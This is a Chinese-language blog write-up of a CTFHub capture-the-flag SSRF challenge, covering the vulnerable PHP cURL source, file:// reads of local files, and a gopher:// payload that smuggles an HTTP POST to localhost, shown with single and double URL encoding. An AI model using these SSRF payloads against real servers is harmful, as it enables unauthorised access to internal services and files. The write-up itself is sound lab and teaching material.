ctfhub:ssrf中的post题

ctfhub:ssrf中的post题

开始通过尝试访问:
view-source:http://challenge-c2ada75a64aad599.sandbox.ctfhub.com:10080/?url=file:///var/www/html/index.php
ctrl+u查看网页代码获得

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {  //判断传进来的url是否为空
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
//初始化新的会话,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函数使用。

curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);//设置URL到CURLOPT_URL

curl_setopt($ch, CURLOPT_HEADER, 0);//是否输出头信息到屏幕

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);//值被设置为1时将会根据服务器返回 HTTP 头中的 "Location: " 来重定向。

curl_exec($ch);// 抓取 URL 并把它传递给浏览器
curl_close($ch);// 关闭 cURL 资源,并且释放系统资源

在这里插入图片描述
由于基础差…看到这里有个让我疑惑了许久的问题,curl_exec($ch);网上给的解释是抓取URL并把它传递给浏览器,但在这个题里面抓的url是gopher://…吧,在浏览器中好像不能直接使用gopher协议的吧?
经过多番查阅,终于柳暗花明呐(抹一把辛酸泪),原因即curl_exec()是PHP cURL 中的函数,PHP cURL的函数要用到libcurl库,而libcurl库目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。如果没理解错的话,libcurl库就相当于php版的简约curl工具了吧。

然后访问:
view-source:http://challenge-c2ada75a64aad599.sandbox.ctfhub.com:10080/?url=file:///var/www/html/flag.php
获得

在这里插入图片描述

所以通过提示访问:
view-source:http://challenge-5a48635790814a6b.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php
获得key
在这里插入图片描述

然后
gopher协议要构造的http包:

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:36

key=60a3e1206aa3977131856f0d5998415b

为解决数据传输过程中的解码问题,因此需要对其进行两次URL转码(因为没有二次编码,半天没出来flag,小伙伴们注意啦!)
一次URL编码(注:第一次编码要把%0a都替换成%0d%0a):

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:127.0.0.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:36%0d%0A%0d%0Akey=60a3e1206aa3977131856f0d5998415b%0d%0a

二次URL编码:

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:127.0.0.1%250d%250AContent-Type:application/x-www-form-urlencoded%250d%250AContent-Length:36%250d%250A%250d%250Akey=60a3e1206aa3977131856f0d5998415b%250d%250a

获得flag
在这里插入图片描述
第一次写的不知道算不算wp的wp,改了又改,如有错误,欢迎批评指正。最后,建议看看下面大佬们的文章!
参考文章:
https://blog.csdn.net/Z_Grant/article/details/102913575
https://zhuanlan.zhihu.com/p/112055947
https://xz.aliyun.com/t/6235#toc-11
https://xz.aliyun.com/t/6373#toc-8
https://www.secpulse.com/archives/65832.html
https://blog.csdn.net/bmth666/article/details/104836708

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值